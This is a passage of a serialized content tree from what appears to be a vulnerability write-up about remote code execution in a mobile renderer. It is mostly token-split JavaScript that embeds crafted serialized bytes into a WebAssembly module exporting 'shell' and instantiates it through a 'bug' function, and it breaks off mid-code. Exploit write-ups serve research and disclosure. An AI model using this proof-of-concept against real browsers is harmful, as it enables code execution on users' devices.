func",{"type":26,"tag":475,"props":136536,"children":136537},{"style":499},[136538],{"type":32,"value":3376},{"type":26,"tag":475,"props":136540,"children":136541},{"class":477,"line":753},[136542],{"type":26,"tag":475,"props":136543,"children":136544},{"style":499},[136545],{"type":32,"value":5585},{"type":26,"tag":475,"props":136547,"children":136548},{"class":477,"line":761},[136549],{"type":26,"tag":475,"props":136550,"children":136551},{"emptyLinePlaceholder":18},[136552],{"type":32,"value":545},{"type":26,"tag":475,"props":136554,"children":136555},{"class":477,"line":770},[136556,136560,136564,136568,136572,136576,136580],{"type":26,"tag":475,"props":136557,"children":136558},{"style":482},[136559],{"type":32,"value":2372},{"type":26,"tag":475,"props":136561,"children":136562},{"style":2375},[136563],{"type":32,"value":135369},{"type":26,"tag":475,"props":136565,"children":136566},{"style":714},[136567],{"type":32,"value":2383},{"type":26,"tag":475,"props":136569,"children":136570},{"style":493},[136571],{"type":32,"value":135378},{"type":26,"tag":475,"props":136573,"children":136574},{"style":499},[136575],{"type":32,"value":626},{"type":26,"tag":475,"props":136577,"children":136578},{"style":2375},[136579],{"type":32,"value":133293},{"type":26,"tag":475,"props":136581,"children":136582},{"style":499},[136583],{"type":32,"value":3533},{"type":26,"tag":475,"props":136585,"children":136586},{"class":477,"line":794},[136587,136591,136595,136599,136603,136607,136611,136615,136619,136623],{"type":26,"tag":475,"props":136588,"children":136589},{"style":2375},[136590],{"type":32,"value":135414},{"type":26,"tag":475,"props":136592,"children":136593},{"style":714},[136594],{"type":32,"value":2383},{"type":26,"tag":475,"props":136596,"children":136597},{"style":499},[136598],{"type":32,"value":2775},{"type":26,"tag":475,"props":136600,"children":136601},{"style":586},[136602],{"type":32,"value":2476},{"type":26,"tag":475,"props":136604,"children":136605},{"style":2375},[136606],{"type":32,"value":135369},{"type":26,"tag":475,"props":136608,"children":136609},{"style":499},[136610],{"type":32,"value":353},{"type":26,"tag":475,"props":136612,"children":136613},{"style":493},[136614],{"type":32,"value":57257},{"type":26,"tag":475,"props":136616,"children":136617},{"style":499},[136618],{"type":32,"value":135443},{"type":26,"tag":475,"props":136620,"children":136621},{"style":2375},[136622],{"type":32,"value":38844},{"type":26,"tag":475,"props":136624,"children":136625},{"style":499},[136626],{"type":32,"value":2729},{"type":26,"tag":475,"props":136628,"children":136629},{"class":477,"line":831},[136630,136634,136638,136642,136646,136650],{"type":26,"tag":475,"props":136631,"children":136632},{"style":2375},[136633],{"type":32,"value":2458},{"type":26,"tag":475,"props":136635,"children":136636},{"style":499},[136637],{"type":32,"value":353},{"type":26,"tag":475,"props":136639,"children":136640},{"style":493},[136641],{"type":32,"value":2467},{"type":26,"tag":475,"props":136643,"children":136644},{"style":499},[136645],{"type":32,"value":626},{"type":26,"tag":475,"props":136647,"children":136648},{"style":2375},[136649],{"type":32,"value":8793},{"type":26,"tag":475,"props":136651,"children":136652},{"style":499},[136653],{"type":32,"value":3533},{"type":26,"tag":475,"props":136655,"children":136656},{"class":477,"line":845},[136657],{"type":26,"tag":475,"props":136658,"children":136659},{"emptyLinePlaceholder":18},[136660],{"type":32,"value":545},{"type":26,"tag":475,"props":136662,"children":136663},{"class":477,"line":854},[136664,136668,136673,136677,136681,136685,136689,136693],{"type":26,"tag":475,"props":136665,"children":136666},{"style":482},[136667],{"type":32,"value":2372},{"type":26,"tag":475,"props":136669,"children":136670},{"style":2375},[136671],{"type":32,"value":136672}," result_bytes",{"type":26,"tag":475,"props":136674,"children":136675},{"style":714},[136676],{"type":32,"value":2383},{"type":26,"tag":475,"props":136678,"children":136679},{"style":482},[136680],{"type":32,"value":31633},{"type":26,"tag":475,"props":136682,"children":136683},{"style":493},[136684],{"type":32,"value":132899},{"type":26,"tag":475,"props":136686,"children":136687},{"style":499},[136688],{"type":32,"value":626},{"type":26,"tag":475,"props":136690,"children":136691},{"style":2375},[136692],{"type":32,"value":8793},{"type":26,"tag":475,"props":136694,"children":136695},{"style":499},[136696],{"type":32,"value":3533},{"type":26,"tag":475,"props":136698,"children":136699},{"class":477,"line":862},[136700,136704,136708,136712,136716,136720,136724,136728,136732,136736,136740,136744,136748,136752,136756],{"type":26,"tag":475,"props":136701,"children":136702},{"style":2375},[136703],{"type":32,"value":2458},{"type":26,"tag":475,"props":136705,"children":136706},{"style":499},[136707],{"type":32,"value":353},{"type":26,"tag":475,"props":136709,"children":136710},{"style":493},[136711],{"type":32,"value":2467},{"type":26,"tag":475,"props":136713,"children":136714},{"style":499},[136715],{"type":32,"value":626},{"type":26,"tag":475,"props":136717,"children":136718},{"style":629},[136719],{"type":32,"value":133466},{"type":26,"tag":475,"props":136721,"children":136722},{"style":714},[136723],{"type":32,"value":8616},{"type":26,"tag":475,"props":136725,"children":136726},{"style":2375},[136727],{"type":32,"value":136672},{"type":26,"tag":475,"props":136729,"children":136730},{"style":499},[136731],{"type":32,"value":353},{"type":26,"tag":475,"props":136733,"children":136734},{"style":493},[136735],{"type":32,"value":133483},{"type":26,"tag":475,"props":136737,"children":136738},{"style":499},[136739],{"type":32,"value":626},{"type":26,"tag":475,"props":136741,"children":136742},{"style":629},[136743],{"type":32,"value":133492},{"type":26,"tag":475,"props":136745,"children":136746},{"style":499},[136747],{"type":32,"value":2794},{"type":26,"tag":475,"props":136749,"children":136750},{"style":714},[136751],{"type":32,"value":1106},{"type":26,"tag":475,"props":136753,"children":136754},{"style":629},[136755],{"type":32,"value":133505},{"type":26,"tag":475,"props":136757,"children":136758},{"style":499},[136759],{"type":32,"value":3533},{"type":26,"tag":475,"props":136761,"children":136762},{"class":477,"line":885},[136763],{"type":26,"tag":475,"props":136764,"children":136765},{"style":499},[136766],{"type":32,"value":2502},{"type":26,"tag":35,"props":136768,"children":136769},{},[136770],{"type":32,"value":136771},"We get the serialized bytes:",{"type":26,"tag":35,"props":136773,"children":136774},{},[136775],{"type":26,"tag":132,"props":136776,"children":136779},{"alt":136777,"src":136778},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":26,"tag":35,"props":136781,"children":136782},{},[136783,136785,136790],{"type":32,"value":136784},"We can now embed this output into the original bytecode that calls ",{"type":26,"tag":53,"props":136786,"children":136788},{"className":136787},[],[136789],{"type":32,"value":132362},{"type":32,"value":179},{"type":26,"tag":465,"props":136792,"children":136794},{"code":136793,"language":35311,"meta":7,"className":35309,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n 0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n 213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n 255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 92, 50, 162, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n console.log('DeserializeWasmModule result: ' + result);\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n console.log(f);\n})();\n",[136795],{"type":26,"tag":53,"props":136796,"children":136797},{"__ignoreMap":7},[136798,136821,136848,137067,137134,137141,137168,137379,137630,137881,138105,138287,138508,138586,138593,138640,138683,138719,138762,138801,138828],{"type":26,"tag":475,"props":136799,"children":136800},{"class":477,"line":478},[136801,136805,136809,136813,136817],{"type":26,"tag":475,"props":136802,"children":136803},{"style":499},[136804],{"type":32,"value":626},{"type":26,"tag":475,"props":136806,"children":136807},{"style":482},[136808],{"type":32,"value":2350},{"type":26,"tag":475,"props":136810,"children":136811},{"style":499},[136812],{"type":32,"value":2355},{"type":26,"tag":475,"props":136814,"children":136815},{"style":482},[136816],{"type":32,"value":2360},{"type":26,"tag":475,"props":136818,"children":136819},{"style":499},[136820],{"type":32,"value":579},{"type":26,"tag":475,"props":136822,"children":136823},{"class":477,"line":516},[136824,136828,136832,136836,136840,136844],{"type":26,"tag":475,"props":136825,"children":136826},{"style":482},[136827],{"type":32,"value":35883},{"type":26,"tag":475,"props":136829,"children":136830},{"style":2375},[136831],{"type":32,"value":132886},{"type":26,"tag":475,"props":136833,"children":136834},{"style":714},[136835],{"type":32,"value":2383},{"type":26,"tag":475,"props":136837,"children":136838},{"style":482},[136839],{"type":32,"value":31633},{"type":26,"tag":475,"props":136841,"children":136842},{"style":493},[136843],{"type":32,"value":132899},{"type":26,"tag":475,"props":136845,"children":136846},{"style":499},[136847],{"type":32,"value":132904},{"type":26,"tag":475,"props":136849,"children":136850},{"class":477,"line":539},[136851,136855,136859,136863,136867,136871,136875,136879,136883,136887,136891,136895,136899,136903,136907,136911,136915,136919,136923,136927,136931,136935,136939,136943,136947,136951,136955,136959,136963,136967,136971,136975,136979,136983,136987,136991,136995,136999,137003,137007,137011,137015,137019,137023,137027,137031,137035,137039,137043,137047,137051,137055,137059,137063],{"type":26,"tag":475,"props":136852,"children":136853},{"style":903},[136854],{"type":32,"value":133629},{"type":26,"tag":475,"props":136856,"children":136857},{"style":499},[136858],{"type":32,"value":637},{"type":26,"tag":475,"props":136860,"children":136861},{"style":903},[136862],{"type":32,"value":132921},{"type":26,"tag":475,"props":136864,"children":136865},{"style":499},[136866],{"type":32,"value":637},{"type":26,"tag":475,"props":136868,"children":136869},{"style":903},[136870],{"type":32,"value":132930},{"type":26,"tag":475,"props":136872,"children":136873},{"style":499},[136874],{"type":32,"value":637},{"type":26,"tag":475,"props":136876,"children":136877},{"style":903},[136878],{"type":32,"value":132939},{"type":26,"tag":475,"props":136880,"children":136881},{"style":499},[136882],{"type":32,"value":637},{"type":26,"tag":475,"props":136884,"children":136885},{"style":903},[136886],{"type":32,"value":3722},{"type":26,"tag":475,"props":136888,"children":136889},{"style":499},[136890],{"type":32,"value":637},{"type":26,"tag":475,"props":136892,"children":136893},{"style":903},[136894],{"type":32,"value":3732},{"type":26,"tag":475,"props":136896,"children":136897},{"style":499},[136898],{"type":32,"value":637},{"type":26,"tag":475,"props":136900,"children":136901},{"style":903},[136902],{"type":32,"value":3732},{"type":26,"tag":475,"props":136904,"children":136905},{"style":499},[136906],{"type":32,"value":637},{"type":26,"tag":475,"props":136908,"children":136909},{"style":903},[136910],{"type":32,"value":3732},{"type":26,"tag":475,"props":136912,"children":136913},{"style":499},[136914],{"type":32,"value":637},{"type":26,"tag":475,"props":136916,"children":136917},{"style":903},[136918],{"type":32,"value":3722},{"type":26,"tag":475,"props":136920,"children":136921},{"style":499},[136922],{"type":32,"value":637},{"type":26,"tag":475,"props":136924,"children":136925},{"style":903},[136926],{"type":32,"value":17235},{"type":26,"tag":475,"props":136928,"children":136929},{"style":499},[136930],{"type":32,"value":637},{"type":26,"tag":475,"props":136932,"children":136933},{"style":903},[136934],{"type":32,"value":3722},{"type":26,"tag":475,"props":136936,"children":136937},{"style":499},[136938],{"type":32,"value":637},{"type":26,"tag":475,"props":136940,"children":136941},{"style":903},[136942],{"type":32,"value":133004},{"type":26,"tag":475,"props":136944,"children":136945},{"style":499},[136946],{"type":32,"value":637},{"type":26,"tag":475,"props":136948,"children":136949},{"style":903},[136950],{"type":32,"value":3732},{"type":26,"tag":475,"props":136952,"children":136953},{"style":499},[136954],{"type":32,"value":637},{"type":26,"tag":475,"props":136956,"children":136957},{"style":903},[136958],{"type":32,"value":3732},{"type":26,"tag":475,"props":136960,"children":136961},{"style":499},[136962],{"type":32,"value":637},{"type":26,"tag":475,"props":136964,"children":136965},{"style":903},[136966],{"type":32,"value":17002},{"type":26,"tag":475,"props":136968,"children":136969},{"style":499},[136970],{"type":32,"value":637},{"type":26,"tag":475,"props":136972,"children":136973},{"style":903},[136974],{"type":32,"value":2830},{"type":26,"tag":475,"props":136976,"children":136977},{"style":499},[136978],{"type":32,"value":637},{"type":26,"tag":475,"props":136980,"children":136981},{"style":903},[136982],{"type":32,"value":3722},{"type":26,"tag":475,"props":136984,"children":136985},{"style":499},[136986],{"type":32,"value":637},{"type":26,"tag":475,"props":136988,"children":136989},{"style":903},[136990],{"type":32,"value":3732},{"type":26,"tag":475,"props":136992,"children":136993},{"style":499},[136994],{"type":32,"value":637},{"type":26,"tag":475,"props":136996,"children":136997},{"style":903},[136998],{"type":32,"value":54362},{"type":26,"tag":475,"props":137000,"children":137001},{"style":499},[137002],{"type":32,"value":637},{"type":26,"tag":475,"props":137004,"children":137005},{"style":903},[137006],{"type":32,"value":55577},{"type":26,"tag":475,"props":137008,"children":137009},{"style":499},[137010],{"type":32,"value":637},{"type":26,"tag":475,"props":137012,"children":137013},{"style":903},[137014],{"type":32,"value":3722},{"type":26,"tag":475,"props":137016,"children":137017},{"style":499},[137018],{"type":32,"value":637},{"type":26,"tag":475,"props":137020,"children":137021},{"style":903},[137022],{"type":32,"value":17816},{"type":26,"tag":475,"props":137024,"children":137025},{"style":499},[137026],{"type":32,"value":637},{"type":26,"tag":475,"props":137028,"children":137029},{"style":903},[137030],{"type":32,"value":132930},{"type":26,"tag":475,"props":137032,"children":137033},{"style":499},[137034],{"type":32,"value":637},{"type":26,"tag":475,"props":137036,"children":137037},{"style":903},[137038],{"type":32,"value":133101},{"type":26,"tag":475,"props":137040,"children":137041},{"style":499},[137042],{"type":32,"value":637},{"type":26,"tag":475,"props":137044,"children":137045},{"style":903},[137046],{"type":32,"value":133110},{"type":26,"tag":475,"props":137048,"children":137049},{"style":499},[137050],{"type":32,"value":637},{"type":26,"tag":475,"props":137052,"children":137053},{"style":903},[137054],{"type":32,"value":133119},{"type":26,"tag":475,"props":137056,"children":137057},{"style":499},[137058],{"type":32,"value":637},{"type":26,"tag":475,"props":137060,"children":137061},{"style":903},[137062],{"type":32,"value":133119},{"type":26,"tag":475,"props":137064,"children":137065},{"style":499},[137066],{"type":32,"value":2425},{"type":26,"tag":475,"props":137068,"children":137069},{"class":477,"line":548},[137070,137074,137078,137082,137086,137090,137094,137098,137102,137106,137110,137114,137118,137122,137126,137130],{"type":26,"tag":475,"props":137071,"children":137072},{"style":903},[137073],{"type":32,"value":133629},{"type":26,"tag":475,"props":137075,"children":137076},{"style":499},[137077],{"type":32,"value":637},{"type":26,"tag":475,"props":137079,"children":137080},{"style":903},[137081],{"type":32,"value":3732},{"type":26,"tag":475,"props":137083,"children":137084},{"style":499},[137085],{"type":32,"value":637},{"type":26,"tag":475,"props":137087,"children":137088},{"style":903},[137089],{"type":32,"value":88873},{"type":26,"tag":475,"props":137091,"children":137092},{"style":499},[137093],{"type":32,"value":637},{"type":26,"tag":475,"props":137095,"children":137096},{"style":903},[137097],{"type":32,"value":17235},{"type":26,"tag":475,"props":137099,"children":137100},{"style":499},[137101],{"type":32,"value":637},{"type":26,"tag":475,"props":137103,"children":137104},{"style":903},[137105],{"type":32,"value":3722},{"type":26,"tag":475,"props":137107,"children":137108},{"style":499},[137109],{"type":32,"value":637},{"type":26,"tag":475,"props":137111,"children":137112},{"style":903},[137113],{"type":32,"value":2830},{"type":26,"tag":475,"props":137115,"children":137116},{"style":499},[137117],{"type":32,"value":637},{"type":26,"tag":475,"props":137119,"children":137120},{"style":903},[137121],{"type":32,"value":3732},{"type":26,"tag":475,"props":137123,"children":137124},{"style":499},[137125],{"type":32,"value":637},{"type":26,"tag":475,"props":137127,"children":137128},{"style":903},[137129],{"type":32,"value":133195},{"type":26,"tag":475,"props":137131,"children":137132},{"style":499},[137133],{"type":32,"value":2425},{"type":26,"tag":475,"props":137135,"children":137136},{"class":477,"line":558},[137137],{"type":26,"tag":475,"props":137138,"children":137139},{"style":499},[137140],{"type":32,"value":133916},{"type":26,"tag":475,"props":137142,"children":137143},{"class":477,"line":582},[137144,137148,137152,137156,137160,137164],{"type":26,"tag":475,"props":137145,"children":137146},{"style":482},[137147],{"type":32,"value":35883},{"type":26,"tag":475,"props":137149,"children":137150},{"style":2375},[137151],{"type":32,"value":124699},{"type":26,"tag":475,"props":137153,"children":137154},{"style":714},[137155],{"type":32,"value":2383},{"type":26,"tag":475,"props":137157,"children":137158},{"style":482},[137159],{"type":32,"value":31633},{"type":26,"tag":475,"props":137161,"children":137162},{"style":493},[137163],{"type":32,"value":132899},{"type":26,"tag":475,"props":137165,"children":137166},{"style":499},[137167],{"type":32,"value":132904},{"type":26,"tag":475,"props":137169,"children":137170},{"class":477,"line":596},[137171,137176,137180,137184,137188,137192,137196,137200,137204,137209,137213,137218,137222,137227,137231,137236,137240,137244,137248,137252,137256,137260,137264,137268,137272,137277,137281,137286,137290,137295,137299,137303,137307,137311,137315,137319,137323,137327,137331,137335,137339,137343,137347,137351,137355,137359,137363,137367,137371,137375],{"type":26,"tag":475,"props":137172,"children":137173},{"style":903},[137174],{"type":32,"value":137175}," 146",{"type":26,"tag":475,"props":137177,"children":137178},{"style":499},[137179],{"type":32,"value":637},{"type":26,"tag":475,"props":137181,"children":137182},{"style":903},[137183],{"type":32,"value":18128},{"type":26,"tag":475,"props":137185,"children":137186},{"style":499},[137187],{"type":32,"value":637},{"type":26,"tag":475,"props":137189,"children":137190},{"style":903},[137191],{"type":32,"value":133968},{"type":26,"tag":475,"props":137193,"children":137194},{"style":499},[137195],{"type":32,"value":637},{"type":26,"tag":475,"props":137197,"children":137198},{"style":903},[137199],{"type":32,"value":133977},{"type":26,"tag":475,"props":137201,"children":137202},{"style":499},[137203],{"type":32,"value":637},{"type":26,"tag":475,"props":137205,"children":137206},{"style":903},[137207],{"type":32,"value":137208},"174",{"type":26,"tag":475,"props":137210,"children":137211},{"style":499},[137212],{"type":32,"value":637},{"type":26,"tag":475,"props":137214,"children":137215},{"style":903},[137216],{"type":32,"value":137217},"122",{"type":26,"tag":475,"props":137219,"children":137220},{"style":499},[137221],{"type":32,"value":637},{"type":26,"tag":475,"props":137223,"children":137224},{"style":903},[137225],{"type":32,"value":137226},"171",{"type":26,"tag":475,"props":137228,"children":137229},{"style":499},[137230],{"type":32,"value":637},{"type":26,"tag":475,"props":137232,"children":137233},{"style":903},[137234],{"type":32,"value":137235},"151",{"type":26,"tag":475,"props":137237,"children":137238},{"style":499},[137239],{"type":32,"value":637},{"type":26,"tag":475,"props":137241,"children":137242},{"style":903},[137243],{"type":32,"value":96287},{"type":26,"tag":475,"props":137245,"children":137246},{"style":499},[137247],{"type":32,"value":637},{"type":26,"tag":475,"props":137249,"children":137250},{"style":903},[137251],{"type":32,"value":3732},{"type":26,"tag":475,"props":137253,"children":137254},{"style":499},[137255],{"type":32,"value":637},{"type":26,"tag":475,"props":137257,"children":137258},{"style":903},[137259],{"type":32,"value":3732},{"type":26,"tag":475,"props":137261,"children":137262},{"style":499},[137263],{"type":32,"value":637},{"type":26,"tag":475,"props":137265,"children":137266},{"style":903},[137267],{"type":32,"value":3732},{"type":26,"tag":475,"props":137269,"children":137270},{"style":499},[137271],{"type":32,"value":637},{"type":26,"tag":475,"props":137273,"children":137274},{"style":903},[137275],{"type":32,"value":137276},"39",{"type":26,"tag":475,"props":137278,"children":137279},{"style":499},[137280],{"type":32,"value":637},{"type":26,"tag":475,"props":137282,"children":137283},{"style":903},[137284],{"type":32,"value":137285},"61",{"type":26,"tag":475,"props":137287,"children":137288},{"style":499},[137289],{"type":32,"value":637},{"type":26,"tag":475,"props":137291,"children":137292},{"style":903},[137293],{"type":32,"value":137294},"60",{"type":26,"tag":475,"props":137296,"children":137297},{"style":499},[137298],{"type":32,"value":637},{"type":26,"tag":475,"props":137300,"children":137301},{"style":903},[137302],{"type":32,"value":96287},{"type":26,"tag":475,"props":137304,"children":137305},{"style":499},[137306],{"type":32,"value":637},{"type":26,"tag":475,"props":137308,"children":137309},{"style":903},[137310],{"type":32,"value":3732},{"type":26,"tag":475,"props":137312,"children":137313},{"style":499},[137314],{"type":32,"value":637},{"type":26,"tag":475,"props":137316,"children":137317},{"style":903},[137318],{"type":32,"value":40535},{"type":26,"tag":475,"props":137320,"children":137321},{"style":499},[137322],{"type":32,"value":637},{"type":26,"tag":475,"props":137324,"children":137325},{"style":903},[137326],{"type":32,"value":17002},{"type":26,"tag":475,"props":137328,"children":137329},{"style":499},[137330],{"type":32,"value":637},{"type":26,"tag":475,"props":137332,"children":137333},{"style":903},[137334],{"type":32,"value":3732},{"type":26,"tag":475,"props":137336,"children":137337},{"style":499},[137338],{"type":32,"value":637},{"type":26,"tag":475,"props":137340,"children":137341},{"style":903},[137342],{"type":32,"value":3732},{"type":26,"tag":475,"props":137344,"children":137345},{"style":499},[137346],{"type":32,"value":637},{"type":26,"tag":475,"props":137348,"children":137349},{"style":903},[137350],{"type":32,"value":3732},{"type":26,"tag":475,"props":137352,"children":137353},{"style":499},[137354],{"type":32,"value":637},{"type":26,"tag":475,"props":137356,"children":137357},{"style":903},[137358],{"type":32,"value":3732},{"type":26,"tag":475,"props":137360,"children":137361},{"style":499},[137362],{"type":32,"value":637},{"type":26,"tag":475,"props":137364,"children":137365},{"style":903},[137366],{"type":32,"value":3732},{"type":26,"tag":475,"props":137368,"children":137369},{"style":499},[137370],{"type":32,"value":637},{"type":26,"tag":475,"props":137372,"children":137373},{"style":903},[137374],{"type":32,"value":29125},{"type":26,"tag":475,"props":137376,"children":137377},{"style":499},[137378],{"type":32,"value":2425},{"type":26,"tag":475,"props":137380,"children":137381},{"class":477,"line":610},[137382,137386,137390,137394,137398,137402,137406,137410,137414,137418,137422,137426,137430,137434,137438,137442,137446,137450,137454,137458,137462,137466,137470,137474,137478,137482,137486,137490,137494,137498,137502,137506,137510,137514,137518,137522,137526,137530,137534,137538,137542,137546,137550,137554,137558,137562,137566,137570,137574,137578,137582,137586,137590,137594,137598,137602,137606,137610,137614,137618,137622,137626],{"type":26,"tag":475,"props":137383,"children":137384},{"style":903},[137385],{"type":32,"value":133629},{"type":26,"tag":475,"props":137387,"children":137388},{"style":499},[137389],{"type":32,"value":637},{"type":26,"tag":475,"props":137391,"children":137392},{"style":903},[137393],{"type":32,"value":3732},{"type":26,"tag":475,"props":137395,"children":137396},{"style":499},[137397],{"type":32,"value":637},{"type":26,"tag":475,"props":137399,"children":137400},{"style":903},[137401],{"type":32,"value":3732},{"type":26,"tag":475,"props":137403,"children":137404},{"style":499},[137405],{"type":32,"value":637},{"type":26,"tag":475,"props":137407,"children":137408},{"style":903},[137409],{"type":32,"value":3732},{"type":26,"tag":475,"props":137411,"children":137412},{"style":499},[137413],{"type":32,"value":637},{"type":26,"tag":475,"props":137415,"children":137416},{"style":903},[137417],{"type":32,"value":3732},{"type":26,"tag":475,"props":137419,"children":137420},{"style":499},[137421],{"type":32,"value":637},{"type":26,"tag":475,"props":137423,"children":137424},{"style":903},[137425],{"type":32,"value":3732},{"type":26,"tag":475,"props":137427,"children":137428},{"style":499},[137429],{"type":32,"value":637},{"type":26,"tag":475,"props":137431,"children":137432},{"style":903},[137433],{"type":32,"value":3732},{"type":26,"tag":475,"props":137435,"children":137436},{"style":499},[137437],{"type":32,"value":637},{"type":26,"tag":475,"props":137439,"children":137440},{"style":903},[137441],{"type":32,"value":3722},{"type":26,"tag":475,"props":137443,"children":137444},{"style":499},[137445],{"type":32,"value":637},{"type":26,"tag":475,"props":137447,"children":137448},{"style":903},[137449],{"type":32,"value":3732},{"type":26,"tag":475,"props":137451,"children":137452},{"style":499},[137453],{"type":32,"value":637},{"type":26,"tag":475,"props":137455,"children":137456},{"style":903},[137457],{"type":32,"value":3732},{"type":26,"tag":475,"props":137459,"children":137460},{"style":499},[137461],{"type":32,"value":637},{"type":26,"tag":475,"props":137463,"children":137464},{"style":903},[137465],{"type":32,"value":3732},{"type":26,"tag":475,"props":137467,"children":137468},{"style":499},[137469],{"type":32,"value":637},{"type":26,"tag":475,"props":137471,"children":137472},{"style":903},[137473],{"type":32,"value":3732},{"type":26,"tag":475,"props":137475,"children":137476},{"style":499},[137477],{"type":32,"value":637},{"type":26,"tag":475,"props":137479,"children":137480},{"style":903},[137481],{"type":32,"value":3732},{"type":26,"tag":475,"props":137483,"children":137484},{"style":499},[137485],{"type":32,"value":637},{"type":26,"tag":475,"props":137487,"children":137488},{"style":903},[137489],{"type":32,"value":3732},{"type":26,"tag":475,"props":137491,"children":137492},{"style":499},[137493],{"type":32,"value":637},{"type":26,"tag":475,"props":137495,"children":137496},{"style":903},[137497],{"type":32,"value":3732},{"type":26,"tag":475,"props":137499,"children":137500},{"style":499},[137501],{"type":32,"value":637},{"type":26,"tag":475,"props":137503,"children":137504},{"style":903},[137505],{"type":32,"value":3732},{"type":26,"tag":475,"props":137507,"children":137508},{"style":499},[137509],{"type":32,"value":637},{"type":26,"tag":475,"props":137511,"children":137512},{"style":903},[137513],{"type":32,"value":17235},{"type":26,"tag":475,"props":137515,"children":137516},{"style":499},[137517],{"type":32,"value":637},{"type":26,"tag":475,"props":137519,"children":137520},{"style":903},[137521],{"type":32,"value":44818},{"type":26,"tag":475,"props":137523,"children":137524},{"style":499},[137525],{"type":32,"value":637},{"type":26,"tag":475,"props":137527,"children":137528},{"style":903},[137529],{"type":32,"value":3732},{"type":26,"tag":475,"props":137531,"children":137532},{"style":499},[137533],{"type":32,"value":637},{"type":26,"tag":475,"props":137535,"children":137536},{"style":903},[137537],{"type":32,"value":3732},{"type":26,"tag":475,"props":137539,"children":137540},{"style":499},[137541],{"type":32,"value":637},{"type":26,"tag":475,"props":137543,"children":137544},{"style":903},[137545],{"type":32,"value":3732},{"type":26,"tag":475,"props":137547,"children":137548},{"style":499},[137549],{"type":32,"value":637},{"type":26,"tag":475,"props":137551,"children":137552},{"style":903},[137553],{"type":32,"value":134004},{"type":26,"tag":475,"props":137555,"children":137556},{"style":499},[137557],{"type":32,"value":637},{"type":26,"tag":475,"props":137559,"children":137560},{"style":903},[137561],{"type":32,"value":3732},{"type":26,"tag":475,"props":137563,"children":137564},{"style":499},[137565],{"type":32,"value":637},{"type":26,"tag":475,"props":137567,"children":137568},{"style":903},[137569],{"type":32,"value":3732},{"type":26,"tag":475,"props":137571,"children":137572},{"style":499},[137573],{"type":32,"value":637},{"type":26,"tag":475,"props":137575,"children":137576},{"style":903},[137577],{"type":32,"value":3732},{"type":26,"tag":475,"props":137579,"children":137580},{"style":499},[137581],{"type":32,"value":637},{"type":26,"tag":475,"props":137583,"children":137584},{"style":903},[137585],{"type":32,"value":44818},{"type":26,"tag":475,"props":137587,"children":137588},{"style":499},[137589],{"type":32,"value":637},{"type":26,"tag":475,"props":137591,"children":137592},{"style":903},[137593],{"type":32,"value":3732},{"type":26,"tag":475,"props":137595,"children":137596},{"style":499},[137597],{"type":32,"value":637},{"type":26,"tag":475,"props":137599,"children":137600},{"style":903},[137601],{"type":32,"value":3732},{"type":26,"tag":475,"props":137603,"children":137604},{"style":499},[137605],{"type":32,"value":637},{"type":26,"tag":475,"props":137607,"children":137608},{"style":903},[137609],{"type":32,"value":3732},{"type":26,"tag":475,"props":137611,"children":137612},{"style":499},[137613],{"type":32,"value":637},{"type":26,"tag":475,"props":137615,"children":137616},{"style":903},[137617],{"type":32,"value":44818},{"type":26,"tag":475,"props":137619,"children":137620},{"style":499},[137621],{"type":32,"value":637},{"type":26,"tag":475,"props":137623,"children":137624},{"style":903},[137625],{"type":32,"value":3732},{"type":26,"tag":475,"props":137627,"children":137628},{"style":499},[137629],{"type":32,"value":2425},{"type":26,"tag":475,"props":137631,"children":137632},{"class":477,"line":650},[137633,137637,137641,137645,137649,137653,137657,137661,137665,137669,137673,137677,137681,137685,137689,137693,137697,137701,137705,137709,137713,137717,137721,137725,137729,137733,137737,137741,137745,137749,137753,137757,137761,137765,137769,137773,137777,137781,137785,137789,137793,137797,137801,137805,137809,137813,137817,137821,137825,137829,137833,137837,137841,137845,137849,137853,137857,137861,137865,137869,137873,137877],{"type":26,"tag":475,"props":137634,"children":137635},{"style":903},[137636],{"type":32,"value":133629},{"type":26,"tag":475,"props":137638,"children":137639},{"style":499},[137640],{"type":32,"value":637},{"type":26,"tag":475,"props":137642,"children":137643},{"style":903},[137644],{"type":32,"value":3732},{"type":26,"tag":475,"props":137646,"children":137647},{"style":499},[137648],{"type":32,"value":637},{"type":26,"tag":475,"props":137650,"children":137651},{"style":903},[137652],{"type":32,"value":44818},{"type":26,"tag":475,"props":137654,"children":137655},{"style":499},[137656],{"type":32,"value":637},{"type":26,"tag":475,"props":137658,"children":137659},{"style":903},[137660],{"type":32,"value":3732},{"type":26,"tag":475,"props":137662,"children":137663},{"style":499},[137664],{"type":32,"value":637},{"type":26,"tag":475,"props":137666,"children":137667},{"style":903},[137668],{"type":32,"value":3732},{"type":26,"tag":475,"props":137670,"children":137671},{"style":499},[137672],{"type":32,"value":637},{"type":26,"tag":475,"props":137674,"children":137675},{"style":903},[137676],{"type":32,"value":3732},{"type":26,"tag":475,"props":137678,"children":137679},{"style":499},[137680],{"type":32,"value":637},{"type":26,"tag":475,"props":137682,"children":137683},{"style":903},[137684],{"type":32,"value":17235},{"type":26,"tag":475,"props":137686,"children":137687},{"style":499},[137688],{"type":32,"value":637},{"type":26,"tag":475,"props":137690,"children":137691},{"style":903},[13769